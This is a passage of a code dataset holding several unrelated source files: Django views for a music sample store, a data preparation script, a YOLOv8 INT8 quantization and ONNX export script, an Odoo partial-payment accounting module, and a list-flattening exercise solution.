Error Code: Not Implemented (i.e. wrong request).\n return HttpResponse(status=501)\n\n\n@csrf_exempt\ndef musician_logout(request):\n # Get auth information from request key-value pairs.\n logout_info = request.GET\n auth = logout_info.get('authenticator')\n\n # Retrieve the authenticator.\n try:\n authenticator = Authenticator.objects.get(authenticator=auth)\n except Authenticator.DoesNotExist:\n # Could not find the authenticator for the user.\n return HttpResponse(status=404)\n\n # Delete the authenticator.\n authenticator.delete()\n # >>> 205 Error Code: No Content, Refresh.\n return HttpResponse(status=205)\n\n\n@csrf_exempt\ndef sample_list(request):\n if request.method == 'GET':\n samples = Sample.objects.all()\n serializer = SampleSerializer(samples, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n if request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = SampleSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n@csrf_exempt\ndef sample_detail(request, pk):\n \"\"\"\n CRUD methods for Musician model\n \"\"\"\n try:\n sample = Sample.objects.get(pk=pk)\n except Sample.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = SampleSerializer(sample)\n return JsonResponse(serializer.data)\n\n elif request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = SampleSerializer(sample, data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data)\n return JsonResponse(serializer.errors, status=400)\n\n elif request.method == 'DELETE':\n sample.delete()\n return HttpResponse(status=204)\n\n@csrf_exempt\ndef sample_pack_list(request):\n if request.method == 'GET':\n samplePacks = SamplePack.objects.all()\n serializer = SamplePackSerializer(samplePacks, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n if request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = SamplePackSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n@csrf_exempt\ndef sample_pack_detail(request, pk):\n \"\"\"\n CRUD methods for SamplePack model\n \"\"\"\n try:\n samplePack = SamplePack.objects.get(pk=pk)\n except SamplePack.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = SamplePackSerializer(samplePack)\n return JsonResponse(serializer.data)\n\n elif request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = SamplePackSerializer(samplePack, data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data)\n return JsonResponse(serializer.errors, status=400)\n\n elif request.method == 'DELETE':\n samplePack.delete()\n return HttpResponse(status=204)\n\n@csrf_exempt\ndef samples_in_pack(request, pk):\n try:\n sample_pack = SamplePack.objects.get(pk=pk)\n except Sample.DoesNotExist:\n return HttpResponse(status=404)\n samples = Sample.objects.filter(pack=pk)\n\n serializer = SampleSerializer(samples, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n@csrf_exempt\ndef top5_sample_packs(request):\n samplePacks = SamplePack.objects.order_by('-purchase_count')[:5]\n serializer = SamplePackSerializer(samplePacks, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n@csrf_exempt\ndef authenticator_list(request):\n if request.method == 'GET':\n authenticators = Authenticator.objects.all()\n serializer = AuthenticatorSerializer(authenticators, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n if request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = AuthenticatorSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n@csrf_exempt\ndef authenticator_detail(request, pk):\n \"\"\"\n CRUD methods for Authenticator model\n \"\"\"\n try:\n authenticator = Authenticator.objects.get(pk=pk)\n except Authenticator.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = AuthenticatorSerializer(authenticator)\n return JsonResponse(serializer.data)\n\n elif request.method == 'DELETE':\n authenticator.delete()\n return HttpResponse(status=204)\n\n@csrf_exempt\ndef recommendation_list(request):\n if request.method == 'GET':\n recommendations = Recommendation.objects.all()\n serializer = RecommendationSerializer(recommendations, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n if request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = RecommendationSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n@csrf_exempt\ndef recommendation_detail(request, pk):\n \"\"\"\n CRUD methods for Recommendation model\n \"\"\"\n try:\n recommendation = Recommendation.objects.get(pk=pk)\n except Recommendation.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = RecommendationSerializer(recommendation)\n return JsonResponse(serializer.data)\n\n elif request.method == 'DELETE':\n recommendation.delete()\n return HttpResponse(status=204)\n","repo_name":"floatingpts/smpl-pk","sub_path":"isa-app/microservices/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12192,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"6158040137","text":"from multiml import StoreGate\nimport numpy as np\nimport yaml\n\n##############################################################################\n# configuration\n##############################################################################\nyml = yaml.load(open('config.yml'), Loader=yaml.FullLoader)\n\n##############################################################################\n\ndef add_data(sg, process, phase):\n data_path = f'{yml[\"data_path\"]}/{process}.npy'\n data = np.load(data_path).astype('f4')\n data = data[:sum(phase)]\n sg.add_data(process, data, phase=phase)\n\n\nif __name__ == \"__main__\":\n sg_args = yml['sg_args_w']\n sg_args['data_id'] = 'heptrans_source'\n sg = StoreGate(**sg_args)\n\n # source data\n for process in yml['source_domains']:\n add_data(sg, process, yml['source_phase']) \n\n # target data\n sg.set_data_id('heptrans_target')\n for process in yml['target_domains']:\n add_data(sg, process, yml['target_phase']) \n\n sg.compile(show_info=True)\n","repo_name":"ktomoe/heptrans","sub_path":"heptrans/make_zarr.py","file_name":"make_zarr.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73427671449","text":"import argparse\nimport os\nimport sys\nfrom pathlib import Path\nimport warnings\nimport yaml\nimport torch\nfrom tqdm import tqdm\n\n\nFILE = Path(__file__).resolve()\nROOT = FILE.parents[0] # YOLOv5 root directory\nif str(ROOT) not in sys.path:\n sys.path.append(str(ROOT)) # add ROOT to PATH\nROOT = Path(os.path.relpath(ROOT, Path.cwd())) # relative\n\nfrom ultralytics import YOLO\nfrom utils.dataloaders import create_dataloader\nfrom utils.general import (check_img_size, check_yaml, file_size, colorstr, check_dataset)\nfrom utils.torch_utils import select_device\nimport py_quant_utils as quant\n\n\ndef collect_stats(model, data_loader, num_batches, device):\n \"\"\"Feed data to the network and collect statistics\"\"\"\n # Enable calibrators\n model.eval()\n for name, module in model.named_modules():\n if isinstance(module, quant.quant_nn.TensorQuantizer):\n if module._calibrator is not None:\n module.disable_quant()\n module.enable_calib()\n else:\n module.disable()\n\n # Feed data to the network for collecting stats\n for i, (image, targets, paths, shapes) in tqdm(enumerate(data_loader), total=num_batches):\n image = image.to(device, non_blocking=True)\n image = image.float() # uint8 to fp16/32\n image /= 255.0 # 0 - 255 to 0.0 - 1.0\n model(image)\n if i >= num_batches:\n break\n\n # Disable calibrators\n for name, module in model.named_modules():\n if isinstance(module, quant.quant_nn.TensorQuantizer):\n if module._calibrator is not None:\n module.enable_quant()\n module.disable_calib()\n else:\n module.enable()\n\n\ndef compute_amax(model, **kwargs):\n # Load calib result\n for name, module in model.named_modules():\n if isinstance(module, quant.quant_nn.TensorQuantizer):\n if module._calibrator is not None:\n if isinstance(module._calibrator, quant.calib.MaxCalibrator):\n module.load_calib_amax()\n else:\n module.load_calib_amax(**kwargs)\n print(F\"{name:40}: {module}\")\n\n\ndef calibrate_model(model, model_name, data_loader, num_calib_batch, calibrator, hist_percentile, out_dir, device):\n \"\"\"\n Feed data to the network and calibrate.\n Arguments:\n model: detection model\n model_name: name to use when creating state files\n data_loader: calibration data set\n num_calib_batch: amount of calibration passes to perform\n calibrator: type of calibration to use (max/histogram)\n hist_percentile: percentiles to be used for historgram calibration\n out_dir: dir to save state files in\n \"\"\"\n\n if num_calib_batch > 0:\n print(\"Calibrating model\")\n with torch.no_grad():\n collect_stats(model, data_loader, num_calib_batch, device)\n\n if not calibrator == \"histogram\":\n compute_amax(model, method=\"max\")\n calib_output = os.path.join(out_dir, F\"{model_name}-max-{num_calib_batch * data_loader.batch_size}.pth\")\n torch.save(model.state_dict(), calib_output)\n else:\n for percentile in hist_percentile:\n print(F\"{percentile} percentile calibration\")\n compute_amax(model, method=\"percentile\")\n calib_output = os.path.join(out_dir, F\"{model_name}-percentile-{percentile}-{num_calib_batch * data_loader.batch_size}.pth\")\n torch.save(model.state_dict(), calib_output)\n\n for method in [\"mse\", \"entropy\"]:\n print(F\"{method} calibration\")\n compute_amax(model, method=method)\n calib_output = os.path.join(out_dir, F\"{model_name}-{method}-{num_calib_batch * data_loader.batch_size}.pth\")\n torch.save(model.state_dict(), calib_output)\n\n\ndef load_model(weight, device):\n yolo = YOLO(weight)\n model = yolo.model\n model.float()\n model.eval()\n\n with torch.no_grad():\n model.fuse()\n return model,yolo\n\n\ndef prepare_model(calibrator, opt, device):\n\n with open(opt.data, encoding='utf-8') as f:\n data_dict = yaml.load(f, Loader=yaml.SafeLoader) \n # print(data_dict)\n data_dict = check_dataset(data_dict)\n calib_path = data_dict['val']\n\n quant.initialize_calib_method(per_channel_quantization=True, calib_method=calibrator) \n model,yolo = load_model(opt.weights, device)\n quant.replace_to_quantization_module(model, ignore_policy=opt.sensitive_layer)\n\n model.eval()\n model.cuda()\n\n gs = max(int(model.stride.max()), 32) # grid size (max stride)\n imgsz, _ = [check_img_size(x, gs) for x in [opt.imgsz, opt.imgsz]] # verify imgsz are gs-multiples\n\n # Calib dataloader\n calib_loader = create_dataloader(calib_path,\n imgsz,\n opt.batch_size,\n gs,\n hyp=None,\n cache=opt.cache,\n rect=True,\n rank=-1,\n workers=opt.workers * 2,\n pad=0.5,\n prefix=colorstr('calib: '))[0]\n\n return model, calib_loader,yolo\n\n\ndef export_onnx(model, onnx_filename, batch_onnx, dynamic_shape, simplify, imgsz=640, prefix=colorstr('calib: ')):\n\n # We have to shift to pytorch's fake quant ops before exporting the model to ONNX\n quant.quant_nn.TensorQuantizer.use_fb_fake_quant = True\n\n # Export ONNX for multiple batch sizes\n print(\"Creating ONNX file: \" + onnx_filename)\n dummy_input = torch.randn(batch_onnx, 3, imgsz, imgsz) \n\n try:\n import onnx\n with torch.no_grad():\n torch.onnx.export(model.cpu(), \n dummy_input.cpu(), \n onnx_filename, \n verbose=False, \n opset_version=13, \n input_names=['images'],\n output_names=['output'],\n dynamic_axes={'images': {0: 'batch', 2: 'height', 3: 'width'}} if dynamic_shape else None,\n enable_onnx_checker=False, \n do_constant_folding=True)\n\n print('ONNX export success, saved as %s' % onnx_filename)\n\n except ValueError:\n warnings.warn(UserWarning(\"Per-channel quantization is not yet supported in Pytorch/ONNX RT (requires ONNX opset 13)\"))\n print(\"Failed to export to ONNX\")\n return False\n\n except Exception as e:\n print(f'{prefix} export failure: {e}')\n \n # Checks\n model_onnx = onnx.load(onnx_filename) # load onnx model\n onnx.checker.check_model(model_onnx) # check onnx model\n \n # Simplify\n if simplify:\n try:\n import onnxsim\n print(f'{prefix} simplifying with onnx-simplifier {onnxsim.__version__}...')\n model_onnx, check = onnxsim.simplify(\n model_onnx,\n dynamic_input_shape=dynamic_shape,\n input_shapes={'images': list(dummy_input.shape)} if dynamic_shape else None)\n\n assert check, 'assert check failed'\n onnx.save(model_onnx, onnx_filename)\n except Exception as e:\n print(f'{prefix} simplifier failure: {e}')\n\n print(f'{prefix} export success, saved as {onnx_filename} ({file_size(onnx_filename):.1f} MB)')\n print(f\"{prefix} Run ONNX model inference with: 'python detect.py --weights {onnx_filename}'\")\n \n # Restore the PSX/TensorRT's fake quant mechanism\n quant.quant_nn.TensorQuantizer.use_fb_fake_quant = False\n # Restore the model to train/test mode, use Detect() layer grid\n model.export = False\n\n return True\n\n\ndef parse_opt():\n parser = argparse.ArgumentParser()\n parser.add_argument('--data', type=str, default=ROOT / '../ultralytics/ultralytics/datasets/coco128.yaml', help='dataset.yaml path')\n parser.add_argument('--weights', nargs='+', type=str, default=\"yolov8n.pt\", help='model.pt path(s)')\n parser.add_argument('--model-name', '-m', default='yolov8n', help='model name: default yolov5s')\n parser.add_argument('--batch-size', type=int, default=32, help='batch size')\n parser.add_argument('--imgsz', '--img', '--img-size', type=int, default=640, help='inference size (pixels)')\n parser.add_argument('--device', default='1', help='cuda device, i.e. 0 or 0,1,2,3 or cpu')\n parser.add_argument('--workers', type=int, default=0, help='max dataloader workers (per RANK in DDP mode)')\n parser.add_argument('--cache', type=str, nargs='?', const='ram', help='--cache images in \"ram\" (default) or \"disk\"')\n\n # setting for calibration\n parser.add_argument('--calib-batch-size', type=int, default=32, help='calib batch size: default 64')\n # parser.add_argument('--sensitive-layer', default=[], help='skip sensitive layer: default detect head')\n\n parser.add_argument('--sensitive-layer', default=['model.15.cv1.conv',\n 'model.15.cv2.conv',\n \"model.15.m.0.cv1.conv\",\n \"model.15.m.0.cv2.conv\"], help='skip sensitive layer: default detect head')\n\n parser.add_argument('--num-calib-batch', default=32, type=int,\n help='Number of batches for calibration. 0 will disable calibration. (default: 4)')\n parser.add_argument('--calibrator', type=str, choices=[\"max\", \"histogram\"], default=\"max\")\n parser.add_argument('--percentile', nargs='+', type=float, default=[99.9, 99.99, 99.999, 99.9999])\n parser.add_argument('--dynamic', default=False, help='dynamic ONNX axes')\n parser.add_argument('--simplify', default=True, help='simplify ONNX file')\n parser.add_argument('--out-dir', '-o', default=ROOT / 'weights/', help='output folder: default ./runs/finetune')\n parser.add_argument('--batch-size-onnx', type=int, default=1, help='batch size for onnx: default 1')\n\n opt = parser.parse_args()\n opt.data = check_yaml(opt.data) # check YAML\n # print_args(vars(opt))\n return opt\n\n\n\n\nif __name__ == \"__main__\":\n\n opt = parse_opt()\n device = select_device(opt.device, batch_size=opt.batch_size)\n\n model, data_loader, yolo = prepare_model(calibrator=opt.calibrator, opt=opt, device=device)\n\n # 校准模型\n with torch.no_grad():\n calibrate_model(\n model=model,\n model_name=opt.model_name,\n data_loader=data_loader,\n num_calib_batch=opt.num_calib_batch,\n calibrator=opt.calibrator,\n hist_percentile=opt.percentile,\n out_dir=opt.out_dir,\n device=device)\n\n\n res = yolo.val(data = opt.data)\n\n with quant.disable_quantization(model):\n res = yolo.val(data = opt.data)\n\n onnx_filename = 'yolov8n_ptq_detect.onnx'\n export_onnx(yolo.model, onnx_filename, opt.batch_size_onnx, opt.dynamic, opt.simplify)\n","repo_name":"huangzongmou/yolov8-pytorch_quantization","sub_path":"yolov8_ptq_int8.py","file_name":"yolov8_ptq_int8.py","file_ext":"py","file_size_in_byte":11241,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"31"} +{"seq_id":"17377984315","text":"# © 2016 ADHOC SA\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\n\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import UserError, ValidationError\n\nclass AccountMove(models.Model):\n _inherit = \"account.move\"\n\n def action_account_invoice_payment_group(self):\n self.ensure_one()\n self.open_move_line_ids.uptate_amount_payable_aux()\n return super(AccountMove, self).action_account_invoice_payment_group()\n\nclass AccountMoveLine(models.Model):\n _inherit = \"account.move.line\"\n\n\n @api.depends('amount_residual')\n def _compute_amount_payable(self):\n \"\"\"\n Para establecer un monto a pagar especifico para cada pago.\n \"\"\"\n payment_group_id = self._context.get('payment_group_id')\n for rec in self:\n # amount_payable = rec.amount_residual\n # amount_payable_currency = rec.amount_residual_currency\n amount_payable = rec.amount_residual if not rec.currency_id else rec.amount_residual_currency\n amount_payable_company = rec.amount_residual\n if payment_group_id:\n payments = self.env['account.payment.group'].browse(\n payment_group_id)\n partial_payment_line = payments.mapped('partial_payment_ids'\n ).filtered(lambda x: x.line_move_id == rec)\n if partial_payment_line:\n matched_amount = sum(partial_payment_line.mapped('amount'))\n if not rec.currency_id:\n amount_residual = sum(partial_payment_line.mapped('amount_residual'))\n if amount_residual != rec.amount_residual:\n matched_amount -= (amount_residual - rec.amount_residual)\n if rec.amount_residual < 0.0 and matched_amount > rec.amount_residual:\n amount_payable = matched_amount\n elif rec.amount_residual > 0.0 and matched_amount < rec.amount_residual:\n amount_payable = matched_amount\n else:\n amount_residual = sum(partial_payment_line.mapped('amount_residual_currency'))\n if amount_residual != rec.amount_residual_currency:\n matched_amount -= (amount_residual - rec.amount_residual_currency)\n if rec.amount_residual_currency < 0.0 and matched_amount > rec.amount_residual_currency:\n amount_payable = matched_amount\n elif rec.amount_residual_currency > 0.0 and matched_amount < rec.amount_residual_currency:\n amount_payable = matched_amount\n\n #Importe en moneda de la compañia\n matched_amount = sum(partial_payment_line.mapped('amount_company'))\n amount_residual_company = sum(partial_payment_line.mapped('amount_residual'))\n if amount_residual_company != rec.amount_residual:\n matched_amount -= (amount_residual_company - rec.amount_residual)\n if rec.amount_residual < 0.0 and matched_amount > rec.amount_residual:\n amount_payable_company = matched_amount\n elif rec.amount_residual > 0.0 and matched_amount < rec.amount_residual:\n amount_payable_company = matched_amount\n rec.amount_payable = amount_payable\n rec.amount_payable_company = amount_payable_company\n\n def _set_amount_payable(self):\n '''Actualiza el monto a pagar cuando se cambia el valor\n '''\n return\n\n def _set_amount_payable_company(self):\n '''Actualiza el monto a pagar cuando se cambia el valor\n '''\n return\n\n\n amount_payable = fields.Monetary(\n string='Amount Payable',\n compute='_compute_amount_payable',\n inverse='_set_amount_payable',\n currency_field='currency_id',\n store=False\n )\n\n amount_payable_aux = fields.Monetary(\n string='Amount Payable Aux'\n )\n\n amount_payable_company = fields.Monetary(\n string='Amount Payable Company',\n compute='_compute_amount_payable',\n inverse='_set_amount_payable_company',\n currency_field='company_currency_id',\n store=False\n )\n\n payment_group_matched_amount_currency = fields.Monetary(\n compute='_compute_payment_group_matched_amount_currency',\n currency_field='currency_id',\n )\n\n def _compute_payment_group_matched_amount_currency(self):\n for rec in self:\n company_currency_id = rec.move_id.company_currency_id\n rec.payment_group_matched_amount_currency = company_currency_id._convert(rec.payment_group_matched_amount, rec.move_id.currency_id, rec.move_id.company_id,\n rec.date or fields.Date.context_today())\n\n @api.onchange('amount_payable')\n def onchange_amount_payable(self):\n for rec in self:\n rec.amount_payable_company = rec.currency_id._convert(rec.amount_payable,\n rec.company_currency_id,\n rec.company_id,rec.date or\n fields.Date.context_today())\n amount_residual = rec.amount_residual if not rec.currency_id else rec.amount_residual_currency\n rec.amount_payable_aux = rec.amount_payable\n if (\n rec.amount_payable > 0 and rec.amount_payable > amount_residual\n ) or (\n rec.amount_payable < 0 and rec.amount_payable < amount_residual\n ):\n raise UserError(\n _('The amount to be paid must not be greater than the residual amount'))\n\n def uptate_amount_payable_aux(self):\n for rec in self:\n rec.amount_payable_aux = rec.amount_residual\n\n def _get_vals_amount_residual(self, line):\n amount_residual = amount_residual_currency = line.amount_residual\n currency = line.company_currency_id\n if self._context.get('payment_group_id', False):\n amount_residual = amount_residual_currency = line.amount_payable_company\n if line.currency_id:\n amount_residual_currency = line.amount_residual_currency\n if self._context.get('payment_group_id', False):\n amount_residual_currency = line.amount_payable\n currency = line.currency_id\n return amount_residual, amount_residual_currency, currency\n\n\n def _prepare_reconciliation_partials(self):\n ''' Prepare the partials on the current journal items to perform the reconciliation.\n /!\\ The order of records in self is important because the journal items will be reconciled using this order.\n\n :return: A recordset of account.partial.reconcile.\n '''\n debit_lines = iter(self.filtered('debit'))\n credit_lines = iter(self.filtered('credit'))\n debit_line = None\n credit_line = None\n\n debit_amount_residual = 0.0\n debit_amount_residual_currency = 0.0\n credit_amount_residual = 0.0\n credit_amount_residual_currency = 0.0\n debit_line_currency = None\n credit_line_currency = None\n\n partials_vals_list = []\n\n while True:\n\n # Move to the next available debit line.\n if not debit_line:\n debit_line = next(debit_lines, None)\n if not debit_line:\n break\n debit_amount_residual,debit_amount_residual_currency, debit_line_currency= self._get_vals_amount_residual(debit_line)\n # debit_amount_residual = debit_line.amount_residual\n #\n # if debit_line.currency_id:\n # debit_amount_residual_currency = debit_line.amount_residual_currency\n # debit_line_currency = debit_line.currency_id\n # else:\n # debit_amount_residual_currency = debit_amount_residual\n # debit_line_currency = debit_line.company_currency_id\n\n # Move to the next available credit line.\n if not credit_line:\n credit_line = next(credit_lines, None)\n if not credit_line:\n break\n credit_amount_residual, credit_amount_residual_currency, credit_line_currency = self._get_vals_amount_residual(\n credit_line)\n # credit_amount_residual = credit_line.amount_residual\n #\n # if credit_line.currency_id:\n # credit_amount_residual_currency = credit_line.amount_residual_currency\n # credit_line_currency = credit_line.currency_id\n # else:\n # credit_amount_residual_currency = credit_amount_residual\n # credit_line_currency = credit_line.company_currency_id\n\n min_amount_residual = min(debit_amount_residual, -credit_amount_residual)\n\n if debit_line_currency == credit_line_currency:\n # Reconcile on the same currency.\n\n # The debit line is now fully reconciled.\n if debit_line_currency.is_zero(debit_amount_residual_currency) or debit_amount_residual_currency < 0.0:\n debit_line = None\n continue\n\n # The credit line is now fully reconciled.\n if credit_line_currency.is_zero(credit_amount_residual_currency) or credit_amount_residual_currency > 0.0:\n credit_line = None\n continue\n\n min_amount_residual_currency = min(debit_amount_residual_currency, -credit_amount_residual_currency)\n min_debit_amount_residual_currency = min_amount_residual_currency\n min_credit_amount_residual_currency = min_amount_residual_currency\n\n else:\n # Reconcile on the company's currency.\n\n # The debit line is now fully reconciled.\n if debit_line.company_currency_id.is_zero(debit_amount_residual) or debit_amount_residual < 0.0:\n debit_line = None\n continue\n\n # The credit line is now fully reconciled.\n if credit_line.company_currency_id.is_zero(credit_amount_residual) or credit_amount_residual > 0.0:\n credit_line = None\n continue\n\n min_debit_amount_residual_currency = credit_line.company_currency_id._convert(\n min_amount_residual,\n debit_line.currency_id,\n credit_line.company_id,\n credit_line.date,\n )\n min_credit_amount_residual_currency = debit_line.company_currency_id._convert(\n min_amount_residual,\n credit_line.currency_id,\n debit_line.company_id,\n debit_line.date,\n )\n\n debit_amount_residual -= min_amount_residual\n debit_amount_residual_currency -= min_debit_amount_residual_currency\n credit_amount_residual += min_amount_residual\n credit_amount_residual_currency += min_credit_amount_residual_currency\n\n partials_vals_list.append({\n 'amount': min_amount_residual,\n 'debit_amount_currency': min_debit_amount_residual_currency,\n 'credit_amount_currency': min_credit_amount_residual_currency,\n 'debit_move_id': debit_line.id,\n 'credit_move_id': credit_line.id,\n })\n\n return partials_vals_list\n\n # def auto_reconcile_lines(self):\n # # Create list of debit and list of credit move ordered by date-currency\n # debit_moves = self.filtered(lambda r: r.debit != 0 or r.amount_currency > 0)\n # credit_moves = self.filtered(lambda r: r.credit != 0 or r.amount_currency < 0)\n # debit_moves = debit_moves.sorted(key=lambda a: (a.date_maturity or a.date, a.currency_id))\n # credit_moves = credit_moves.sorted(key=lambda a: (a.date_maturity or a.date, a.currency_id))\n # # Compute on which field reconciliation should be based upon:\n # if self[0].account_id.currency_id and self[0].account_id.currency_id != self[0].account_id.company_id.currency_id:\n # field = 'amount_residual_currency'\n # if self._context.get('payment_group_id', False):\n # field = 'amount_payable'\n # else:\n # field = 'amount_residual'\n # if self._context.get('payment_group_id', False):\n # field = 'amount_payable_company'\n # #if all lines share the same currency, use amount_residual_currency to avoid currency rounding error\n # if self[0].currency_id and all([x.amount_currency and x.currency_id == self[0].currency_id for x in self]):\n # field = 'amount_residual_currency'\n # if self._context.get('payment_group_id', False):\n # field = 'amount_payable'\n # # Reconcile lines\n # ret = self._reconcile_lines(debit_moves, credit_moves, field)\n # return ret\n #\n # def _get_amount_reconcile(self, debit_move, credit_move, field):\n # temp_amount_residual = min(debit_move.amount_residual, -credit_move.amount_residual)\n # temp_amount_residual_currency = min(debit_move.amount_residual_currency, -credit_move.amount_residual_currency)\n # if field not in ['amount_residual', 'amount_residual_currency']:\n # if field == 'amount_payable':\n # temp_amount_residual_currency = min(debit_move[field], -credit_move[field])\n # # field_residual = field.replace('_currency', '')\n # temp_amount_residual = min(debit_move['amount_payable_company'], -credit_move['amount_payable_company'])\n # else:\n # temp_amount_residual = min(debit_move[field], -credit_move[field])\n # amount_reconcile = min(debit_move[field], -credit_move[field])\n # return temp_amount_residual, temp_amount_residual_currency, amount_reconcile\n #\n #\n # def _reconcile_lines(self, debit_moves, credit_moves, field):\n # \"\"\" This function loops on the 2 recordsets given as parameter as long as it\n # can find a debit and a credit to reconcile together. It returns the recordset of the\n # account move lines that were not reconciled during the process.\n # \"\"\"\n # (debit_moves + credit_moves).read([field])\n # to_create = []\n # cash_basis = debit_moves and debit_moves[0].account_id.internal_type in ('receivable', 'payable') or False\n # cash_basis_percentage_before_rec = {}\n # dc_vals ={}\n # while (debit_moves and credit_moves):\n # debit_move = debit_moves[0]\n # credit_move = credit_moves[0]\n # company_currency = debit_move.company_id.currency_id\n # # We need those temporary value otherwise the computation might be wrong below\n # temp_amount_residual, temp_amount_residual_currency, amount_reconcile = self._get_amount_reconcile(debit_move, credit_move, field)\n # dc_vals[(debit_move.id, credit_move.id)] = (debit_move, credit_move, temp_amount_residual_currency)\n #\n # #Remove from recordset the one(s) that will be totally reconciled\n # # For optimization purpose, the creation of the partial_reconcile are done at the end,\n # # therefore during the process of reconciling several move lines, there are actually no recompute performed by the orm\n # # and thus the amount_residual are not recomputed, hence we have to do it manually.\n # if amount_reconcile == debit_move[field]:\n # debit_moves -= debit_move\n # else:\n # debit_moves[0].amount_residual -= temp_amount_residual\n # debit_moves[0].amount_residual_currency -= temp_amount_residual_currency\n #\n # if amount_reconcile == -credit_move[field]:\n # credit_moves -= credit_move\n # else:\n # # credit_moves[0][field] += temp_amount_residual\n # credit_moves[0].amount_residual += temp_amount_residual\n # credit_moves[0].amount_residual_currency += temp_amount_residual_currency\n # #Check for the currency and amount_currency we can set\n # currency = False\n # amount_reconcile_currency = 0\n # if field == 'amount_residual_currency':\n # currency = credit_move.currency_id.id\n # amount_reconcile_currency = temp_amount_residual_currency\n # amount_reconcile = temp_amount_residual\n # elif bool(debit_move.currency_id) != bool(credit_move.currency_id):\n # # If only one of debit_move or credit_move has a secondary currency, also record the converted amount\n # # in that secondary currency in the partial reconciliation. That allows the exchange difference entry\n # # to be created, in case it is needed. It also allows to compute the amount residual in foreign currency.\n # currency = debit_move.currency_id or credit_move.currency_id\n # currency_date = debit_move.currency_id and credit_move.date or debit_move.date\n # amount_reconcile_currency = company_currency._convert(amount_reconcile, currency, debit_move.company_id, currency_date)\n # currency = currency.id\n #\n # if cash_basis:\n # tmp_set = debit_move | credit_move\n # cash_basis_percentage_before_rec.update(tmp_set._get_matched_percentage())\n #\n # to_create.append({\n # 'debit_move_id': debit_move.id,\n # 'credit_move_id': credit_move.id,\n # 'amount': amount_reconcile,\n # 'amount_currency': amount_reconcile_currency,\n # 'currency_id': currency,\n # })\n #\n # cash_basis_subjected = []\n # part_rec = self.env['account.partial.reconcile']\n # for partial_rec_dict in to_create:\n # debit_move, credit_move, amount_residual_currency = dc_vals[partial_rec_dict['debit_move_id'], partial_rec_dict['credit_move_id']]\n # # /!\\ NOTE: Exchange rate differences shouldn't create cash basis entries\n # # i. e: we don't really receive/give money in a customer/provider fashion\n # # Since those are not subjected to cash basis computation we process them first\n # if not amount_residual_currency and debit_move.currency_id and credit_move.currency_id:\n # part_rec.create(partial_rec_dict)\n # else:\n # cash_basis_subjected.append(partial_rec_dict)\n #\n # for after_rec_dict in cash_basis_subjected:\n # new_rec = part_rec.create(after_rec_dict)\n # # if the pair belongs to move being reverted, do not create CABA entry\n # if cash_basis and not (\n # new_rec.debit_move_id.move_id == new_rec.credit_move_id.move_id.reversed_entry_id\n # or\n # new_rec.credit_move_id.move_id == new_rec.debit_move_id.move_id.reversed_entry_id\n # ):\n # new_rec.create_tax_cash_basis_entry(cash_basis_percentage_before_rec)\n # return debit_moves+credit_moves\n","repo_name":"AITIC/odoo-argentina-ext","sub_path":"account_partial_payment_group/models/account_move.py","file_name":"account_move.py","file_ext":"py","file_size_in_byte":19711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26201146658","text":"def flat_list(array: list) -> list:\n from itertools import chain\n\n return list(\n chain(\n *(flat_list(i) if type(i) is list else (i,) for i in array)\n )\n )\n\n\n'''\nChekio Mission Link:\nhttps://py.checkio.org/en/mission/flatten-list/\nChekio Solution Link:\nhttps://py.checkio.org/mission/flatten-list/publications/jcfernandez/python-3/only-one-line/share/e6a4e1b0c5345946e932e6f2844656b5/\nChekio Profile Link:\nhttps://py.checkio.org/user/jcfernandez/solutions/share/83d63afe87a24e810571c961a5f66dfb/\n'''\n\nif __name__ == '__main__':\n print(flat_list([1, 2, 3]))\n print(flat_list([1, [2, 2, 2], 4]))\n print(flat_list([[[2]], [4, [5, 6, [6], 6, 6, 6], 7]]))\n print(flat_list([-1, [1, [-2], 1], -1]))\n\n assert flat_list([1, 2, 3]) == [1, 2, 3], \"First\"\n assert flat_list([1, [2, 2, 2], 4]) == [1, 2, 2, 2, 4], \"Second\"\n assert flat_list([[[2]], [4, [5, 6, [6], 6, 6, 6], 7]]) == [2, 4, 5, 6, 6, 6, 6, 6, 7], \"Third\"\n assert flat_list([-1, [1, [-2], 1], -1]) == [-1, 1, -2, 1, -1], \"Four\"\n print('Done! Check it')\n","repo_name":"jcfernandez-890825/checkio","sub_path":"src/flatten-list.py","file_name":"flatten-list.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} 